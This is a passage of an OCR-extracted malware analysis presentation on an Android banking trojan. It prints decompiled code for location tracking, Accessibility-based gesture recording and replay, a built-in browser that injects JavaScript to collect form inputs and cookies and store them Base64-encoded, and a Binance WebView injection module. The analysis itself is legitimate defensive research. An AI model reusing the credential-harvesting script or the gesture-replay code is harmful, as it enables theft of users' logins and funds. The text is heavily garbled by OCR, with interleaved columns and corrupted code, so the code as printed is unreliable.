Location lastKnownLocation = LM.getlastknownlLocation(”
& MyJobService if (LastknownLocation '= null) {
& MySettings Longting = LastkKnownLocation.getlLongitude();
& nvnfrorgpml233 LastknownLatitude = lastKnownLocation. qetLutLtude' H
& PermissionsManager ler'l.ludld = lastKnownlLocation.getAccuracy ()
& ubhlkuywlnl235 lastannLacatmn qet‘:-pr-edl | H
& xcyerdnztol 232 ] }

s-.l;l_.astF.'r..:.-.-nLa‘ti.tude, Lengting, let]_iud_id_l;
& xgvgshuxbvl234 z LM, requestlocationUpdates("network®, t, (float) d, LL);
£, Binance } else if (i1sProviderEnabled2)
E BiTy Location lastkKnownLocation2 = LM.getLastKnownLocation('g

0 || ActivityCompat.

anatmnServ:.:e LM, requestlocationUpdates (" LocationService.t, (

float) LocatienSarvice.d, LecaticnSarvice.LL);

= LM.1sProviderEnabled(
LM.isProviderEnabled

rov:dDrEnaM ﬂd“ i1sProviderEnabled) {

For example, it implements the onLocationChanged function, which is called
when the last known coordinates of the device do not match current ones.
The function replaces the values of the fields that store data on latitude
(lastKnownLatitude ), longtitude (Longting), accuracy ( letliudid)

and speed of the movement (sp) with the new ones

61
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CASE #3 HAHACKING
GESTURE CONTROL [

Gesture control functionality, which comes with the right to use
Accessibility features granted by the attacked user, proved out to be
one of the most extensive modules, with its functions distributed across
various sections of the application.

For example, the AccessService service defines the TouchWatcher method,
which performs certain actions regarding gesture control, in accordance with
the value passed to it:

rewallServices ¢, AccessService
e |fits argument equals "Record”, T
case 0 is triggered: the app determines "
whether recording is currently running public void TeuchWatcher(String str, String str2) {
based on the value of the RecordTouch i hasheode
variable, if it is not — it will start the
recording;

e If its argument equals " Stop ",
case 1 istriggered: the app determines
whether recording is currently running

r.equals("Stop"]) {

based on the value of the RecordTouch c=1;
variable, if it is — saves the recording to an _ break;
array and writes it down, then resets the break;

case 78B848492:
it (str.equals("Repet")) {

value of the RecordTouch variable to
be false and clears the array of
touches;

e If its argument equals " Repet",

r.equals("sStart")) {

case 2 istriggered: loads the recording ' o
located within the path that is passed as ~ break;
the second argument of the function, and break:
repeats each action recorded,; } o
switch (c) {
A " " case O:
e Ifits argumeht equals ; Start H if (RecordTouch.booleanvaluel()) {

case 3 is trlggered: initializes Handler o CC.agzfjvacxwzymltnggxpzbnfwzthlybf
with a background thread that executes . Jhuor jki Luntvotkgop

operations; F uvhfzenpbywtfl ilk

Each case is accompanied by a message sent to the
C2 server regarding the outcome of an attempt to
execute a specific command. 62
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CASE #3 HAHACKING

GESTURE CONTROL

£, FirewallServices & CC £, AccessService £, MySettings

g5 public static void [E3VeTouchs (Context context, String str, LinkedHashMapeString, Peint[]>
The saveTouchs method linkedHashMap) {

. String str2 = str + ".json";

Of the Mysettlngs CIaSS 102 File file = new File(Envirenment.getExternalStorageDirectory() + utilities.extractStringl(

L X . * jconfig/sysipvozgashtgeqquldyhuorikivgrgyssrukdkzylvntvotkgopsrvnhvebghpnsgedkdwwgsneskdlcbpfavi

S reSpOHSIble for saV|ng acql:mg'ﬁsbhhfmnl'Fuftblyn:lrwg';bs?nau'ﬁ'qu'fhf:m:upb\;"ﬁ'tfldhl.-'.nrl'.b'k"'.«.'cn..51 rqlmsmepzfyqaaykhklgjwjiet:
1oyqod) yefcugormhrghimegxxabnfkufbjafghyoxhyffxokhupuggamymuxxlkgydpsdehnoubztyl lwhphogf gndisorne:

H ubczecjdfoelluaglebykvvggvubgoormn) rangyezzupl xxewdbgsxjegyhbsxzyisephrdnpr)c)ghxgdkqukytpwykkpgig;

the recording. It Ay

*1pvozgashtgeqqvldyhuorjkivgrqyssrukdkzylvntvotkgopsrvnhvebghprsgedkd wqflnnakdlcbpfa ymnnat acqlom

generates a JSON bfrral"uf‘thl,ln l:,q»hqﬂnau» uvhfz rnpb,mtf"l’?hl—nrjlhrknl.rcnuq rqlmsmep :,qan)-khquj iiretfexniioyqod
: ugermhrghimegxxabnfkufbyaf xhyf frokhupuggamymuxx Lkgydpsdchnoubz tyl Llwhph oqrgndlsarnnln_m_xubc:,.]:
object from the

luaglebykvvggvubgccrmn] rzngyezzupl xxewdbgsxjegihbsxzyisephrdnpricigh=gdkgukytpwykkpgiqzznlsyulkss

104 if (1file.exists()) {
G ) 105 file.mkdirs();
dictionary of touch }
4 g 108 File file2 = new File(file, str2);
coordinates passed to it, try { _
| 111 Jsumbject JsoNohJect = new JSONObject();
Converts |‘t |nto a Strlng | for (1 Entry=String, Peint[]= entry : linkedHashMap.entrySet()) {
115 ring key entry.getkey();
. . 116 Pmnt[] value = entry.getValue();
and ertes It to a JSON 119 JSOMArray JSOMArray = new JSOMArray():
: for (Point point : walue) {
f||e on exter’nal S‘torage’ 123 JsoMobject jSomobject2 = new JSONObject();
124 JSoMObjectZ.put(“x", point.x);
i 125 jsomMobject2.put("y", point.y);
Ina fO|der 126 JSOMArray. put [ jSONObject2) ;
A ; }
/Confl /S S/a SItCh & 130 jsoncbject.put(key, jSOMArray);
] ] ¥ l ¥
}
134 String jSONObject3 = jSONObject.toStringl);
137 FileOutputStream fileOutputStream = new FileOutputStream(filez);
140 filedutputStream.write(jSONOb]ect3. getBytes());
143 fileoutputStream.close();

} catch (Exception e) {
e.printStackTrace();

L

£, FirewallServices €, CC £, AccessService &, MySettings : The LoadToucheS
F
¥
method of the
152 public static LinkedHashMap<String, Point(]> LoadTouches(Context context, String str) { r 5
-'.|| ing str2 = str + ".)son"; Mysettlngs ClaSS |S
157 @ file = new File(Environment.getExternalStorageDirectory() + utilities.extractString(

161

169
172
173
176
182
185
136
187
188
189
190
191
192
195

197

fon'rlf: sys]_p.-o gashtgeqqvldyhuorjkivgrgyssrukdkzylvntvotk qapqrmhuquhp"qqndkd“qslnnqkdlcbpfa..frnnna
a\q'Ll..ln.J\-sthfnlulfuftblyn LrewgvbsenauwguvhfzenpbywtfLdbiznrilbrknlvenusirglmemepzfyqaaykhklgjwjtetfexni
10yqod] yef cugormhrghimegxxabnfkufbjafghyoxhyf f xokhupuggamymuxx lkgydpsdchnoubz tyl lwhphogfgndi sornemzmzx L
ubczejdfoelluaglebykvvggvubgeermnjrangyezzuplxxewdbgsxjegjhbsxzyisephrdnprjc)ghzgdkgukytpwykkpgigzznls Ioadlng the
yulkSS/apps/tch", o
*1pvozgashtgeqqvldyhuorjkavgrgyssrukdkzylvntvotkgopsrvnhvebghpnsgedkdwwgslneskdlcbpf avmnnaf acqlomgvsbh recordlng. |t readS an
bfmolfuftblynzLowgvbsenauwquvhfzenpbywtf ldbiznrilbrknlvenusi rqlmemepzfygaaykhklajwiletfexnilayqod)yefe

ugermhrghimegxxabnfkufb)afghyoxhyf fxokhupuggamymuxxLkgydpsdchnoubz tyi lwhphogf gndisornemzmzxubcze jdfoel
Luaglebykvvqgvubqecrmn) rengyezzuplxxewdbgsxjegihbsxzyisephrdnpric)ghxgdkqukytpwykkpgrigzznlsyulksSs") ) ; array Of tOUCh S from

H '{ike;“"““'” ‘ a JSON file, which is

FileInputStream fileImputStream = new FileInputStream(new File(file, str2));
byte[] bArr = new byte[fileInputStream. avallable..‘], IOcated on eXternal
JSONCbject JSOMObject = new JSOMObject(mew Stringl(barr));
1nkedHashMap=String, point[]= linkedHashMap = new LinkedHashMap<e=();
String next = keys.next(); and returns a
JSOMArray JSOMArray = JSOMNObject.getJSOMArray (next);
JSONObject JSONObject2 = jSOMArray.getJSONObject(i); .
pointarrli] = new Point(jSOnNObject2.getInt("x*), jSOMObject2.getInt("y=]); COOI’dInateS

responsible for

filelnputStream.read (barr);
fileInputstream.clesel); Storage In a folder
Iterator=String= keys = )SONObject.keys(); /CO“fig/SYS/aPPSItCh
while (keys.hasMext()) {

Point(] pointArr = new Point[jSOMArray.length()]; i i

for {int 1 = 0; 1 = jSONArray.length(); i++) { dlCtlonary Of to Ch

}
linkedHashMap . put (next, pointhrr);
}
return LinkedHashMap;
} catch (Exception unused) {
return null;
}
}

return null;
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CASE #3

GESTURE CONT

2184
2185

Some gestures and
actions are pre-defined
in dedicated functions.
For example, scrolling
up is defined by a
slideUp function that
specifies the necessary
sequence of
coordinates, which is
converted into an array
of points that is later
used by the mouseDraw
function:

2185
2188

2190
2195

2200

2224
2226

The mouseDraw function for

£, FirewallServices

HAHACKING

ROL

€, CC €, AccessService £, MySettings £, RecordSereenl

¥
}

public void slidelp(AccessibilityService accessibilityService) {

stringl] split =
" {X=526,Y=2334} : {¥=526,Y=2217} : { X=526, ¥=2291} : { X=526, Y=2268} : { ¥=526, ¥Y=2242} : { X=526, ¥=22
192} : {X=526, ¥=2169} : { X=526, Y =2143} : { X=526, ¥=2126} : { X=526, ¥=2106} : { X=526, Y=2000} : {X=526,
,¥=2050} : { ¥=526,¥=2004} : { ¥=526, ¥=2014} : { ¥=526, Y=1994} : { ¥=526,¥=1977} : { =526, ¥=1958} : { X=
=526, Y=1921} : { X=526, Y=1002} : {¥=526, ¥=1885} : { ¥=526, ¥=1865]} : { X=526, Y=1842} : { ¥=526, ¥=1816]
}i{%=526,Y=1760}:{X=526,¥=1736} : { =526, ¥=1703} : { ¥=526, Y=1680} : { ¥=526, ¥=1661} : { X=526, ¥=]
1631} : {¥=526, ¥=1611} : { ¥=526, ¥=1588} : { ¥=526, ¥=1581} : { ¥=526, ¥=1568]} : { X=526, ¥=1555} : { X=52¢
B, Y=1525} : { X=526, ¥Y=1505} : { X=526, Y=1483} : { X=526, Y=1459} : { =526, ¥=1449} : { X=526, Y=1426} : {»
X=526,¥=1377} : {%=528,v=1357} : { ¥=526, Y=1240} : { X=528, Y=1320} : { x=528, ¥=1301} : { x=526, Y=128¢
4} :{x=526,¥=1248} : {x=526, ¥ =1228} : { X=526, Y =1208} : { X=526,¥=1192} : ti 526,7=1172}: {K-;zo Y=
=113} : { X=528,v=1116} : { X=526, y=1009} : { X=526, Y=1080} : { =526, Y=1066} : { =526, Y=1053} ;: { X=5:
26,Y=1037} : { X=526, y=1030} : { Xx=526, Y=1023} : { ¥=526, Y=1017} : { x=526, Y=1004} : { X=525, y=094} : { »
=526, ¥ =967} : { X=526, ¥ =054} : { X=526, Y =044} : { Xx=526, Y =038} : { X=526, v=931} : {X=528, Y=024} : { =52
6,¥=005} : { ¥=526,v=055} : { X=526, Y=881} : { X=526, Y=868} : { X=526, ¥=862} : { X=5265, ¥ =852} : { Xx=526, ¥
=832} : { =526, Y =825} : { X=526, ¥ =812} : {¥=526, ¥=806} : { X=526, Y=796} : { X=526, ¥=789} : { X=526, ¥=7¢
g} : {¥=526,¥=756} : { ¥=528, ¥=753} : { ¥=526, Y=746} : { ¥=526, ¥=746} : " . split (Pattern.quote(":" )] ;

Point[] pointa&rr = new Point[split.length];

for (int 1 = 0; 1 = split.length - 1; 1+4+)

try {

{

1
N

ing[] splitz = splitli].replace(={", *").replace(=}=, =").split(",
pointarr(i] new Point(Integer.parselnt(split2(0].split(=="}[1]),
splitzl1].split(=="}[11)};

} catch (Exception unused) {
}
}
mouselraw(polntArr, B850);
public void UL() {
if (1 ((KeyguardManager) getSystemService("keyguard®)).isKeyguardLocked() || Bui
SDK_INT = 23) {
return;
}.
this.skiprecord = true;
new Handler[Loaper gre‘l:lﬂa:l|-|L1:n:|per"]1I pnstmw Runna Il 0 {

= oo Lo o1 = o o

ms a path from an array of points and the path

is used to form a description of the gesture that is sent to the device:

®{...} voic
m Accessﬁeruice(} id
m ActivSend(AccessibilityE

¢, FirewallServices

a0verride // and

i AddID(String, String) 220 public void take

i AddTrame(String) void takeScreenshotCallba

# Addlink (String, String) 221 super. takesc

m CLickTextpostion(String, ¥

m MIUIpreformbattery(Acces: 274

m MakeNotifier(Context, St try {

m RD(String) Strin 275 if (Buil

@ ROF(File) String 276 Path

im, Removename (St rJ.ngJ id g;; Eath'

m SW({String) o

m ScanScreenText(Accessibi™ || 2

m ScreenScanner({AccessServy.

m, SendMeHome () |

m, SendNotifi(Accessibilityl iy
289 disp

m StartAlerter{AccessServit
m, TouchWatcher(String, Str:
m Treger(String, String(])
m UL () oid

access$000() PowsrManage
access$lo(AccessService.
access$lB02(long) long
access$ll00(AccessService
access$l200( AccassService
access$l300() PowerManag
access$l302(PowarManager:
access$200(AccessService,
access$300(AccessService,
access$d400(AccessService
access$602(long)
access$702(Long)

oL, 1)) .build(), new
Jf from class:
abbfxtfcep3.Accessse

201
262

yn

208
297

Yoon

}
} catch (Ex:
302 @.prints

}

5995995999996

public void mouseDraw(Point[] pointaArr, int 1) {

remember . left

& CC £, AccessService £, MySettings &, RecordScreenutil

roid.accessibilityservice.AccessibilityService
Sereenshot{int 1, Executor executor, fccessibilityService.TakeScreenshotCallback
ck) {

reenshot (i, executor, takeScreenshotcallback);

d.VERSION, SDK_INT == 24) {

path = new Path(];

moveTo (polntArr[0].x, pointArr[o].y);
(int 12 = 1; 12 < pointArr.length; 12++) {

try {
path.lineTolpointarr(12].x, pointarr(i2]).y);
} cateh (Exception unused) {
}.
atchGesture (new GestureDescription.Bullder().addStroke (new GestureDescription.Strok

AccessibilityService.GestureResultCallback() {
.shxtoilzocgzhysicroszhwwzgwjdjprkivhlmopj lkglgevo?. wysxsdgarrnteygt j jubsr
r'.r;c.-_n.i

werride // android.accessibilityservice AccessibilityService. GestureResultCallbac
pul:'L.l: void onCompleted(GestureDescription gestureDescription) {

super.onCompleted(gestureDescription);

}

ride f/ android.accessibilityservice.AccessibilityService, GestureResultCallbac

pul:'l_u uoul onCancelled(GestureDescription gestureDescription) {
super.onCancelled(gestureDascription);

}

ull);

el {
tackTracel);

eptian



https://t.me/hahacking

CASE #3

HAHACKING

GESTURES CONTROL

{uallServices

£, CC £, AccessService £, AutoStart &, RecordPayPass , Performtesturelti

3% private static void cloneallSteps{Linkediist<linkedllst<MotionEvent=> linkedList] {
a7 thisallsteps = mew Linkedlist=s=();
38 Iterator<Linkedllst<MotionEvent>= 1t = LlinkedList.iterator();
while (1t.hasmext()) {
k-] LinkedList<MotionEvent> linkedlList2? = new LinkedListe=(];
The mOCkGeStu re 40 Iterator<MotionBvent= 1t2 = it.next().iterator();

function of the 4
PerformGestureUtil

class works according to

the same principle. It is -
used for delayed imitation

H

S 48
of gestures, repetition of a s
sequence of touches 5

recorded in a

thisAllSteps variable =
instead of a local file, when -
the device is being 61
unlocked or a payment is 63
being made 6

72

75

}

£, AccessService

Llservices
¥

£, o

}

public static void flickAtPosition(int 1, int 12, AccessibilityNodeInfo accessibilityModeInfo) {

if (accessibilityNedeInfo == null) {

return;
¥
try {
if (accessibilityModeInfo.getChildCount() == 0) {
Rzct rect = new Rect();
accessibilitynNodeInfo.getBoundsInScraen(rect);
if (rect.contains(i, i2)) {
accessibilityModeInfo.performiction(18);
return;
¥
return;
}
Rect rect2 = new Rect();
accessibilitymodeInfo.getBoundsInScreen(rectz);
if (rect2.contains(i, 12)) {
acecessibilityMNodeInfo.performaction(16);
by
for {int 13 = 0; 13 < accessibilityNodeInfo.getChildCount(]); 13++) {
elickAtPosition(i, 12, accessibilityNedeInfo.getChild(13));
}
} catch (Exception unused) {
}

}

@override // android.app.Service
public int onStartCommand(Intent intent, int 1, int 12) {
if (getServiceInfol() == null) {

AccessibilityServiceInfo accessibilityServiceInfo = new AccessibalityServiceInfall;

accessibilityServiceInfo.flags = 19;
accessibilityServiceInfo.eventTypes = -1;
accessibilityServiceInfo.notificationTimeout = 100L;
accessibilityServiceInfo.packageNames = null;
accessibilityServicelInfo,feedbackType = -1;
setServicelnfolaccessibilityServieelnfel;

}

initializeService MyAccess = this;

£, MySettings

while (1t2.hasMext(]) {
linkedList2, add (MotionEvent.obtain{itZ.next()));

thisAllSteps.add(linkedList2);
1

S JADX INFO: Access modifiers changed from: private wy
public static void mockGesture() {

Long nextInt;

long j;

LinkedList«<MotionBvent> poll = thisallSteps.poll(];

long nextInt2 = new Fandom().nextInt(20) + 49;

if (lpoll.isEmpty()) {
long eventTime = poll.getLast().getEventTimel();
nextInt = eventTime - poll.getFirst().getEventTime();
j = eventTime;

b oelse {
nextInt = new Han (). .nextInt{20) + 200;
] =0

}

GestureDescriptien.Builder builder = new GestureDescription.Builder();
MotienBvent poll2 = poll.pell();
Path path = new Path();
path.moveTolpoll2.getRawX(], pollZ.getRawY (]} + ScreenUtil.getStatusBarHeight(service));
while (!poll.isEmpty(]] {

MationEvent pall3 = poll.pelli);

path, lineTo(poll2, getrawx (), poll3.getRawy() + Screenutil,getStatusBarHeight (servicel):
}
if (Build.VERSION.SODK_INT == 26) {

if (nextInt == a) {

nextint = mew Fandom() .meaxtInt(20) + Z00;

builder.addStroke (new GestureDescription.StrokeDescription(path, mextInt2, nextInt, false));
¥
dispatchGesture (builder.build(), j);

Many pre-defined gestures

require click on specific
coordinates and this is why the
click function is defined. It
calls the c1ickAtPosition
function and passes it its
arguments i and ji2, as well
as a node - the root of the
active window. The
clickAtPosition function
checks if the 1 and i2
coordinates are present within
the node and its children. If
the condition is satisfied, it
performs an action on the
element by executing
accessibilityNodeInfo
~performAction(16)
where the number 16 means
ACTION_CLICK - click on the
element
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CASE #3

CRAXSBROWSER &

HAHACKING

The most important malicious module that distinguishes the updated version

of malware from the older one is the built-in CraxsBrowser browser.

It is

defined in the CraxsBrowser class and is based on the Chrome client:

P CraxsBrowser
g, MyChrome

&, FirewallServices

g, CC £, RecordScreenUtil £, CraxsBrowser

. T (0adeT Frof: Classes, dex v
f FILECHODSER_RESULTCODE in | 44| public S rra:ssrmer enends Activity {
£, mWabView Wel private static final int FILECHOOSER_RESLLTCODE = 1;
[, savename public static wWebView mWebView = nnll'
* CrameCliant public static String savename = *°
% GPassword St final My(hrorne CromeClient = new Nyl:hrnrnel I
L tring GPassword = *%;
f dataMap Map- May data!‘\ap new HashMap();
f iamout ¢ boslean iamout = false,
i leD'LDadl‘Iessage Va private valueCallback mUploadMessage;
f{...} void
@ Craxslrowser() 45 static /* synthetic #*/ ValueCallback access$000(CraxsBrowser craxsBrowser) {
N el a5 return craxsBrowser.mUploadMessage;
m GetAl1Founded() String } i mp oe;
m, RemoveFile (St ring)
m accessPR0A(CraxsBrowser) 45 static /* synthetic */ valueCallback access$002(CraxsBrowser craxs8rowser, ValueCallback
m access$B02(CraxsBrowser, valuecallback] {
m access$l00(CraxsBrowser, 46 craxsBrowser.mUploadMessage = valueCallback;
m checkurl{String) St return valueCallback;
w finish() |
m getPassword(WebView) void | 45 static /* synthetic */ void access$100(CraxsBrowser craxsBrowser, ) str, ) strz) {
moonActivityResult(int, int 45 craxsBrowser,saveDataToFilel(str, strzl;
m onBackPressed()
m onConfigurationChanged(Co : ; : ; ;i ;
& onCreate(Bundle) 55 prater_rer_l wvoid onactivityResultiint 1, int 12, Intent intent) {
- 55 if (1 1= 1 || this.mUploadMessage == null || intent == mull || 22 1= -1) {
m onDaestroy(} v return;
m, readDataFromFile(String)
m, saveDataToFile(String, St 6l ng dataString = intent.getDataString();
m setlcon(Context, Bitmap) &7 this.mUploadMessage.onReceiveValue (dataString != null 7 new Uri[]{Uri.parse(datastring)} :
i 1L);
L ctvgjkeeffl317 L
. 63 this.mUploadMessage = null;
. 2jbcgagtbgl3ld ¥ mp 9 2
: EncryptionCUtils 120 pu'hlu void onCreate(Bundle bundle) {
s Fdzkwnflrwl320 f* loaded from: classes. dex %/ ing str;
L hbrwacdixpl3l1 71 private class Mychrome extends wWebd 121 Super. ontreate.hundle.,
i { 72 Mychrome(] { try i
s hiyovkjeyz1312 :." 124 overridePendingTransitien(o, 0);
sl 126 Intent intent = getIntent();
try {
130 str = intent.getStringExtral“key");
¥ catch (Ex n unused] {
str = null;
if (str == null) {
str = *off";
-1ry {
142 setTitle(intent.getStringExtral label"});
} catch {Exception unused2) {
try |
148 bytel] bytearrayExtra = getlntant'l getByteArrayExtral icon®);
150 setlcon(getApplicationContext(), BitmapFactory. dacudeBytenrray byteArrayExtra, 0O,
byteﬂrrayExtra lcngth ]
b catch | 0 ounused3) {
158 se‘rcontenwiewiﬁ.. layout.wib);
] webView webView = (wWebview) findviewById(R.1d.webviewl);
meebView = webView;
160 webView.getSettings().setlavaScriptEnabled(true);
161 mnebView. getSattings() .setDomStorageEnabled (true) ;
162 mwebView. getSettings() . setloadwithOverviewMede [ true) ;
163 mnebView. getSettings() . setEnableSmoothTransition(truel ;
164 minebView. setScrollBarStylelo);
When a new instance of the " : -
167 mdebview, getSettings!) .setUseWideviewPort(true);
168 miWebView. getSettings() setAllowFl leAccess (true);

mdebview. getSettings() .setal lowFl leAccessFromFl LeURLs (true)
mWebView. getSettings() .setallowlniversalaccessFromFi leURLs (true) ;
} catch {Exception unusedd) {

browser is created, several e
important settings are

mdebView. getSettings() . setBulltInZoomControls(false) ;

176 mrebView. getSettings() . setPluginState (WabSettings.PluginState.ON) ;
. . a % 9 g g
180 if (!Istr.contains("google.com®) && !str.contains(”youtube,.com)) {
automatically configured. The = e "
K Z "Mozilla ) (Linmux; Android 11: SM-ALZSF Bul Ld/RP 1.’-\ 200720.012; wv) Applewebki t‘ 537.35 (KHTHL, Llike G
ecko) versions4.0 Chrome/99.0.4844.88 Mobile safari 7.36 [FB_IAB/FB4A:FE 2.0.0. 109; 1" ):
appl ICatIon enables 103 o nﬂeb\r;eu sjetm'n'lnadnstenerf_neu Annnymusclassliji': s
. i 215 mWebView. setwebViewtlient (new AnonymousClass2i]);
h 244 midabView. setwWebChrometlient (this.CromeClient) ;
JavaScript, activates the 2 i petiel
246 mWebView, LoadUrl{checkurlistr]};
DOM Storage, gra n‘ts acceSS ‘to 301 new aad (new AnonymousClass3()).start();
A 182 r-vaf'ahnsu. getsettings() . setUserAgentString )
‘the |Oca| f||es’ and Se’ts Some dﬂ I::'_;;l 1,;‘:.::“1;‘;5] Redmi Mote B Pro) ApplewebkityS37.36 (kMTML, like Gecke) Chremessl.0.
‘t tt, 193 rrh'eh\hew..setDo'-nlo;dListenerfneu AncnymousClass1(]);
h 3 215 meiebView. setWebviewClient (new AnonymousClass2());
O er Se Ings' 24 mniebView. setwebChromeClient (this.CremeClient);
245 savename = str;
245 mwebView. LoadUrLicheckurlistr]);
301 new Thread{new AnonymousClass3()).start(]);
b cateh (Exce ption wnuseds) {

1
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CASE #3

CRAXSBROWSER

HAHACKING

The interesting thing here is the creation of new execution threads
with objects of the AnonymousClass3 class. An object of this class
initializes a Handler with a background thread, and an object of the
AnonymousClass1 class is passed to it, which executes the getPassword
function specifying mWebView as an argument.

The getPassword function runs JavaScript in the context of the passed WebView
nd calls an object of the AnonymousClass4 class as a callback function:

¢, CraxsBrowser
2, MyChrome

fy FILECHOOSER_RESULTCODE i

o, mWabV Lew

Jf, savenamea S

% CromeClient

i GPassword |

i dataMap

f lamout E

fy MploadMessage Val

£, FirewallServices

private Strine String
if (str.toLowerCase().startswith("http

return str;
b
return "htt " + str;
)
J

. RecordScreenutil

£, CraxsBrowser

strl 1

void getPassword(wWebView webView) {

if (webview == null) {
return;
}

("1 || str.toLowerCase().startswWith("htt

axsBrowser()
L GetALLFounded()

im, RemoveFile(String) Boo
m accesst000(CraxsBrowsear)
m access$002(CraxsBrowser,
m access$100(CraxsBrowser,
m checkurl (String) String
m, finish() void
m getPassword(WebView) void
m onActivityResult (int, t
m, onBackPressed() wvoid
m, onConfigurationChanged(Co
m, onC reate (Bundle)
m onDestroy() void
im, readDataFromFile(String)

alk Ve F
AnonymousCla
%

I

implements valueCallback {

ORIy MOLIS
anonymousClassal) |
m saveDataToFile(String, St }
m setIcon({Context, Bitmap)
s ctvgjkeeffl3l?y
. ejbcgagtbgl3l4d

public void onReceivevalue(String str) {
if (str.equals("null") || str.equals(*3\"y"*}) {
return;

a

s}

0

EncryptionCUtils ]
% Tdzkwnfkrwl320 . o
% hbnvacdixpl3ll )

hiyovkjeyz1312 string str3 = CraxsBrowser.savename;
. ImageSaver if ['E::zt:ﬁ r'r.lws&r' .this.dataMap.containskey (str2)) {
s NotificationUtils !
PacketClass
5 ndarySocket
AN a1 1R

2]

site]: " + CraxsBrowser.savename + "~" + str.substring(l, str.lengthi()

(2]

Lo B ]

(x]

}
CraxsBrowser.access$l00(CraxsBrowser.this, str2, str3);

.

.
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CASE #3 HAHACKING
CRAXSBROWSER

1.
2.
3
4.

JavaScript executed in the context of the passed WebView:

Creates a new iframe element, defines it as the frame variable

Overrides console so that it points to the console of the iframe

Creates an array of input elements inside the inputs variable

lterates over this array to gather types and values of these elements. The
information gathered, as well as Cookies, is then composed into the
alltext variable

var frame = null;

g=1() =={
if (!frame) {
frame = document.createElement('iframe’');
frame.style.display = 'none'’;
document.body.appendChild(frame);
1

console = frame.contentWindow.console;
var inputs = document.querySelectorAll("'input"');
var = window. location.href;

var alltext = "";

inputs.forEach(function(input) -

var type = input.getAttribute('type");
var value = input.value;
if (value !== "" && value !== null && type !== "hidden" && type !== "checkbox") {
alltext += "[" + type + "]: " + value + "~" + "[Cookiel:" + document.cookie + "~";
I
:];
return alltext;
Fi
g();
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CASE #3 HAHACKING
CRAXSBROWSER

The callback function, an object of the AnonymousClass4 class wraps the
received data, adding the link to the website that got the script injected
into it, and passes it to the access$100 method, which redirects the
information to the saveDataToFile method that encodes it in Baseé4 and
writes it down into a text file on external storage, in a folder
/Config/sys/apps/Data

&, CraxsBrowser €, FirewallServices g, CC £, RecordScreenUtil £, CraxsBrowser
&, MyChrome .
ify FILECHOOSER | PEbULTLUDE

B mivebView W private void saveDataToFile(String str, String str2) {

f, savename S

f CromeClient

f GPassword St

i dataMap |

f lamout b

fy MUploadMessage ValueCall
m{...} void

m, CraxsBrowser() void

m, GetAllFounded() String

i RemoveFile(String) Eool

m access$0008(C sBrowser)
m access$002 a rowser,
m access$1060 rowser,
m checkurl (String) String
m finish() wvoid

m getPassword(WebView) void
m onActivityResulti{int, int
m, onBackPressed() wvoid

m, onConfigurationChanged(Co
m, onCreate(Bundle) wvoid

m, onDest roy()

if (str.isEmpty() || str2.isEmpty()) {
return;

'_'r

String encodeToString = B

String encodeToString2 encodeToString (str.getBytes(),

File file = new File(Environment.getExternalStorageDirectoryl(],

File file2 = new F1le(file, encodeToString.replace("\n

if (1file.exists()) {

file.mkdirs();

¥
if (1filez.exists()) {
try {

i1ter(file2, true);

f;lnwrlter clo
} catch ( xception e2) {
EE.printStackTracEEJ;
H

ncodeToString(str2.getBytes(), 0);
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CASE #3 HAHACKING
OTHER INJECTIONS INTO WEBVIEW E

This malware contains several separate modules dedicated to injections into
WebViews of popular payment applications, such as Binance and Okex. To
identify the use of such applications and classify a specific service, each
AccessibilityEvent event processed by the malware gets checked against a
list of conditions. The application selects the injection module based on the
results of checks.

BINANCE

Each AccessibilityEvent event processed by the malware gets checked against
a list of conditions, including:

e the name of the package (PackageName) equals com.binance.dev

e the name of the resource (ViewIdResourceName) equals
com.binance.dev:1d/2131378415 or com.binance.dev:id/2131378375

If these conditions are met, the execution
proceeds to the binanceinj function

S Ll [T TE T e e

wysksdgarrmteygtjjubsrypscl £ Firewallservices . i £, CraxsBrowser £, Binance
caded from: cla
& MywWebChromeClient 7 publlc class Eunanu- {
& MyWebView public stat.lc FrameLayout I:1r1an aWalletInjview;
5, binanceWallet Injview | 5 binanceWalletIn)viewlayoutParams;
¥, binanc llet &
#. binanceWalletInjviewlayou
¥, LfShowDialog ¢
¥ L'rneb\:ie.:Fu‘Ll:.:reem k
£, showType int private static
§, textView TextView prl.u'.ate static
p T public static w
¥, usdtaddress private static Windo windowManager;
Je usdtamount String
Fo wabView WebView public static void binmanceinj(final Context conmtext) {
fo windowManager WindowManag if (binanceWalletInjview == null) {
& {...} void 7 initIngView(context);
m Binance() !

if (webview == null] {
M,-wehm ew myWebView = new Mywebview(context);
"

s -1);

wr1pf..or|1'»=r|'r‘

m, showRight TopButt

m showiWebiew( Contex

E:J.Typl! c rnl 1BarEnabled(false) ;
s Brand _ I—..vn- getLayoutParams()
y Camerafctvity P 5 ght J qe eenHelght (context) ;

Click J a
s ClickUnlock : afa tlanguage! ) ;

Constants 0o 'Larnquaq=.r : 0
& Constan b e  hachcodell) { A 7
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CASE #3 HAHACKING
OTHER INJECTIONS INTO WEBVIEW

BINANCE

wysxksdgarrnteyagtijubsrypsel £, FirewallServices &5 o £, RecordScreenUtil €, CraxsBrowser £, Binance
& Binance 93 webView.setVerticalScrollBarEnabled(falsel;

& MyWebChromeCl Lent 94 webView.setHorizontalScrollBarEnabled(falsel;

& MyWebView 95 ViewGroup.LayoutParams layoutParams = webView.getLayoutParams();

_I' binanceWalletInjview | 97 layOQLParam.height = S:reenutil..qat_screenl-ieight[cor\textl;

I' bi wallet] FE 98 webView. setlLayoutParams [ LayoutParams) ;

£ binanceWalletInjv ayad || gg Language = iLe.getDefault () .getlanguage();

7, ifShowDialog ¢ 1 100 Language . hashCode ()

fo L fwabViewFullSe reen | ¢ switch (language.hashCode(]) {

g.ghanYpe it case =241:

£ textView TextVie if (language.equals(*en*)] {

2 g c = 0;

fs usdtaddress break:

fe Usdtamount Sty }

fowebView WebVisw break;

fs windowManager WindowManag case 33893

f{...} veid if (language.equals(*ja"]) {

m, Binance() i Er:ﬂl:!

m accessPlOB() WindowManag . mald

m access$2B2(String) String break;

m accessPI0L(String) String case 428!

m accass$E00(Context) id if (language.equals(*ko*)] {

m accassPrOA() void E = E:

m access$BOZ(int) . s

m, binanceinj {Cuntax?j v 1 d bresk:

m, checkEvent (AccessibilityE case ZB8G6;

m hidelnjectView() id if (language.equals(*zh*)] {

m initInjView(Contaxt) id ¢ =3

m, mesuralnjectVlew{Context) . break;

m, sendlldValuel() hreah;

m setFullScreen{boolean, Co 1

r, setWrapContentSc reen(Cont tring str = **;

my showRight TopButton|Contex switch (c) {

m, showWebiew(Context) id case O:
# BiType d*h:}:::_
